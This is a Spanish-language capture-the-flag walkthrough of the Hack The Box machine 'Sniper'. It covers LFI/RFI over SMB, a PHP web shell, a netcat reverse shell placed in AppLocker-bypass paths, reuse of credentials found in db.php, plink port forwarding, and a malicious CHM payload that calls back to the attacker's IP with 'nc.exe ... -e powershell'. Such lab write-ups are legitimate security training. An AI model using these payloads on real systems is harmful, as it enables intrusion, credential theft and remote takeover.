Sniper - 10.129.1.171

Reconnaissance

Nmap Recon Results

Discovery OS System

\

Recon Open Ports

Service Enumeration

PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-07T18:21:49
|_  start_date: N/A

Analizando el resultado de nmap, vemos que tenemos solo 4 puertos abiertos , un servicio de samba y el otro el servidor http… lo que podemos deducir que probablemente esten conectados.

Web Service Enumeration

http://10.129.95.80/

AltText|1000

Encontramos en el codigo fuente que la mayor parte de la pagina es estatica y solamente 2 secciones parecen alojar mas contenido una es “login.php” y "/blog/index.php"

http://10.129.95.80/user/login.php

AltText|600 encontramos un formulario de logueo en el cual tenemos una seccion para registrarnos, asi que procederemos a registrarnos

- Usuario registrado
	- test : test123

una vez que nos logueamos vemos una pequeรฑa animacion de que la web sigue en construccion… asi que no encontramos nada relevante, ahora seguiremos analizando la otra seccion del sitio web.

http://10.129.95.80/blog/index.php

analizando el sitio vemos que tiene una barra de navegacion con distintas pestaรฑas y texto de relleno “Lorem Ipsum”

en el codigo fuente del sitio web nos damos cuenta que hace uso de el parametro “lang”, asi que intentaremos abusar de el mismo por si las entradas no estan sanitizadas y asi lograr un LFI.

Exploit

Testing LFI nuestra deduccion fue correcta, en efecto podemos conseguir un LFI, ahora intentaremos enumerar otros ficheros interesantes

http://10.129.95.80/blog/?lang=/Windows/win.ini

Optional II

Podriamos hacer uso de curl para enviar nuestra peticion get del LFI y solo filtrar por los campos que hay entre “html y body”

curl -s -G "http://10.129.95.80/blog/?lang=/Windows/win.ini" | sed -n '/<\/html>/,/<\/body>/p'

Testing RFI Rfi To Shell Using Samba -> Nice Article nuestro proximo paso sera testear un RFI , para eso utilizaremos un servidor http o tcpdump (en el caso de samba) para ver si el servidor objetivo solicita el recurso que le especificamos en la peticion bien para esto primero verificaremos si recibimos alguna solicitud del servidor en nuestra maquina a traves del procotolo http, y si no es asi despues probaremos con smb

AltText|1000 como se aprecia en la imagen anterior, no recibimos ninguna peticion. asi que continuaremos con samba

AltText|1000 y por lo que vemos si, eso quiere decir que si se dan ciertos requitisos podriamos injectar comandos. intentamos obtener el recurso a traves de smbserver pero no es posible ya que el servidor solicitaba el recurso pero no podia loguearse al mismo , asi que creamos un recurso compartido en la configuracion de samba “/etc/samba/smb.conf” e inicializamos el servicio de samba

y lo intentamos de nuevo pero esta ves a traves de Burp

vemos que nuestro payload se ejecuta correctamente, asi que lo modificaremos y haremos una web shell.

<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>" ?>

Reverse Shell

compartiremos un binario a traves de sambaserver e intentaremos entablar una reverse shell para eso haremos uso del siguiente recurso WhiteWinterWolf que es una webshell en php que nos permite ejecutar comandos e inclusive subir ficheros.

podemos subir ficheros por ejemplo a la ruta C:\Windows\Temp o mejor aun para bypassear el applocker podemos hacer uso del siguiente Recurso en nuestro caso haremos uso de la ruta

C:\Windows\System32\spool\drivers\color

Option II intentamos ejecutar el binario de netcat a traves del recurso compartido de samba, pero no hemos obtenido la reverse shell, asi que copiaremos el fichero de netcat y lo pegaremos en C:\Windows\System32\spool\PRINTERS para despues ejecutar el binario desde ese directorio y puedamos bypassear el applock

aparentemente el Antivirus nos borra el fichero asi que lo cambiaremos por

C:\Windows\System32\spool\drivers\color\nc.exe

y ejecutamos nuestra reverse shell

enumerando el sistema nos damos cuenta que dentro del directorio del servicio web hay un fichero llamada “db.php” con credenciales de logueo a la base de datos

AltText|800

- Credentials
	- User : dbuser
	-  Pass : 36mEAhz/B8xQ~2VM

probablemente sean las credenciales del usuario Chris asi que verificaremos si son las credenciales correcta con crackmapexec

bien, listando los sockets en escucha del sistema nos damos cuenta que esta el puerto 5985 de winrm de forma interna, pero desde forma externa no nos aparece, seguramente por reglas de firewall, asi que lo que haremos sera un remote port forwarding del puerto de winrm “5985”

plink64.exe -l root -pw hola123 -R 5985:127.0.0.1:5985 10.10.14.68 -P 9999

AltTExt|700 una vez que efectuamos el remote port forwarding haremos uso de la herramienta evil-winrm para validar si las credenciales que tenemos en efecto son del usuario “Crhis”

evil-winrm

Option III

Reuse Chris Credentials

$password = ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "Sniper\Chris", $password
Invoke-Command -ScriptBlock { whoami } -Credential $credential -Computer localhost

Priv Esc

Vulnerability Information

Encontramos un fichero llamado notes.txt en C:\Docs\notes.txt que dice lo siguiente.

Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of  bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO.

parece una madriguera de conejo ya que no nos dice nada util, asi que seguimos enumerando la maquina para encontrar un archivo particular en la ruta de

C:\User\Chris\Downloads\instructions.ch

que al querer transferirnos a nuestra maquina obtenemos permisos denegados, asi que lo que hacemos es modificar el archivo de configuracion de samba con las siguientes intructiones

y le asignamos permisos de escritura al directorio para que otros puedan escribir

ahora si nos copiamos el fichero

una vez que nos transferimos el fichero nos lo llevamos a una maquina local de windows , para examinarlo vemos que es una estructura html simple, bien ahora haremos uso del script out-chm De Nishang que nos permite generar un fichero .chm con el payload que le especifiquemos para despues transferirlo a la maquina objetivo

Ahora nos transferimos el fichero a la ubicacion

c:\docs\doc.chm

AltText|900 como vemos recibimos el ping, pero el fichero despues se borra, asi que modificaremos el payload en nuestra maquina windows y lo volvemos a transferir a la maquina objetivo para que el proceso htmlhelp.exe lo ejecute.

Import-Module .\Out-CHM.ps1
Out-CHM -Payload "c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.68 9999 -e powershell" -HHCPath  "C:\Program Files (x86)\HTML Help Workshop"

Manual Method Para hacer el fichero “.chm” de forma manual temos el siguiente Recurso. O inclusive https://gist.github.com/mgeeky/cce31c8602a144d8f2172a73d510e0e7.